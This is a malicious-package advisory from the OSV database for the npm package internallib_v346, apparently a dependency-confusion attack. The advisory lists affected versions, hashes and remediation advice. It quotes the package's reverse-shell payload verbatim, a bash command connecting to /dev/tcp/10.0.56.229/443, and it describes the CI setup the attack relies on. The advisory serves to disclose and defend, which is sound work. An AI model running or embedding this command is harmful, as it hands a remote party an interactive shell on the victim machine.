MAL-2026-5613

See a problem?
Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/internallib_v346/MAL-2026-5613.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-5613
Aliases
  • GHSA-qcg5-4gpc-33h2
Published
2026-06-11T07:19:48Z
Modified
2026-06-17T00:01:43Z
Summary
Malicious code in internallib_v346 (npm)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (16f3f2c0990e02417fdf7012e6531393e81f786bb16019d0efdb03c049817f90)

Package name targets an internal-only namespace and ships a reverse-shell payload. index.js line 5 unconditionally invokes exec('/bin/bash -c "bash -i >& /dev/tcp/10.0.56.229/443 0>&1"') inside the first definition of the exported command function, opening an interactive shell back to the hardcoded RFC1918 address 10.0.56.229 on port 443. A second assignment to exports.command later in the file overwrites the export, but the malicious statement is evaluated whenever the first function body is reached and is shipped verbatim in the published tarball. The package also declares a self-referential dependency on internallib_v346: ^1.0.0 and includes a.gitlab-ci.yml that runs npm update --registry http://0.0.0.0:4873/ followed by node check.js, where check.js does require("internallib_v346"). The naming and CI shape are characteristic of a Birsan-style dependency-confusion attack against an organization's internal internallib_v346 package: when a victim build resolves from the public registry instead of the internal Verdaccio mirror, the reverse-shell code lands in the developer or CI environment.

Source: ghsa-malware (49aadd4f032493e7b54abd903b2e970525d80af49a53c3320057385ccbd6da7c)

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Database specific
{
    "malicious-packages-origins": [
        {
            "id": "IN-MAL-2026-005696",
            "import_time": "2026-06-11T07:49:42.089279362Z",
            "modified_time": "2026-06-11T07:19:48Z",
            "sha256": "16f3f2c0990e02417fdf7012e6531393e81f786bb16019d0efdb03c049817f90",
            "source": "amazon-inspector",
            "versions": [
                "1.0.3"
            ]
        },
        {
            "id": "IN-MAL-2026-005698",
            "import_time": "2026-06-11T07:49:42.274607487Z",
            "modified_time": "2026-06-11T07:19:50Z",
            "sha256": "ca0c0f264625c77a0695bd5e908a1e7f764bcaaa16d3e785167b0ab56965fdd4",
            "source": "amazon-inspector",
            "versions": [
                "1.1.0"
            ]
        },
        {
            "id": "IN-MAL-2026-005697",
            "import_time": "2026-06-11T07:49:42.171801317Z",
            "modified_time": "2026-06-11T07:19:49Z",
            "sha256": "a9cd3a304ca53f98e5e1598be0822c44c12d54d41e2ca72ae6d39c12a7332e14",
            "source": "amazon-inspector",
            "versions": [
                "1.0.9"
            ]
        },
        {
            "id": "IN-MAL-2026-005699",
            "import_time": "2026-06-11T07:49:42.389563885Z",
            "modified_time": "2026-06-11T07:19:52Z",
            "sha256": "b63d776e7932e5f411c572799269f05aaec305e2df00a9e6a635f50c60f49a25",
            "source": "amazon-inspector",
            "versions": [
                "1.0.5"
            ]
        },
        {
            "id": "IN-MAL-2026-005789",
            "import_time": "2026-06-12T16:32:16.54285143Z",
            "modified_time": "2026-06-12T15:28:22Z",
            "sha256": "b8244df25b60c5471ac12cc27ca7116899c12e3741c5a3477c8e1bf65b0c4434",
            "source": "amazon-inspector",
            "versions": [
                "1.1.1"
            ]
        },
        {
            "id": "IN-MAL-2026-005790",
            "import_time": "2026-06-12T16:32:16.577539407Z",
            "modified_time": "2026-06-12T15:28:23Z",
            "sha256": "00d56227ad7f3e5b9b0b9f8e04ce88fec70ed7e96a438a1c39f33ad86d203055",
            "source": "amazon-inspector",
            "versions": [
                "1.1.2"
            ]
        },
        {
            "id": "GHSA-qcg5-4gpc-33h2",
            "import_time": "2026-06-16T23:47:17.447009582Z",
            "modified_time": "2026-06-16T23:33:24Z",
            "ranges": [
                {
                    "events": [
                        {
                            "introduced": "0"
                        }
                    ],
                    "type": "SEMVER"
                }
            ],
            "sha256": "49aadd4f032493e7b54abd903b2e970525d80af49a53c3320057385ccbd6da7c",
            "source": "ghsa-malware"
        }
    ]
}
References
Credits

Affected packages

npm / internallib_v346

Package

Name
internallib_v346
View open source insights on deps.dev
Purl
pkg:npm/internallib_v346

Affected ranges

Type
SEMVER
Events
Introduced
0 Unknown introduced version / All previous versions are affected

Affected versions

1.*
1.0.3
1.0.5
1.0.9
1.1.0
1.1.1
1.1.2

Database specific

cwes
[
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    },
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    },
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    },
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    },
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    },
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    },
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    }
]
indicators
{
    "evidence_files": [
        {
            "path": "index.js",
            "sha256": "2e6d10be6c0aae2e7ac2ef2b8d2689e66cef888121d3ce018962d5cab7b2e3cb",
            "tlsh": "54e0205a19fe1930a51570e06a0bf050794b59662224c161e46495a35f8100d51aa4ed"
        },
        {
            "path": "package.json",
            "sha256": "189a24406d5f4df85449f0abdb9965c181115162261711283ed1e21a8f9d3246",
            "tlsh": "9cd02e200a225c3322c5036a2c79801372a09f2f008afc0863cb492c40cf2b39cfd30c"
        }
    ],
    "package_integrity": [
        {
            "filename": "internallib_v346-1.0.3.tgz",
            "hashes": {
                "sha1": "aca560455bddec62ffe7b1f4ee7478d4ab614f47",
                "sha512_sri": "sha512-UlnT7WsGHbNi8md2n7eCjVH/QYDw7HwM7x9Mgey5uZRwbVWxZRNQkdaSMoz7NO+0Re3W3ozqCULKtuAKNnAlew=="
            }
        }
    ]
}
source
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/internallib_v346/MAL-2026-5613.json"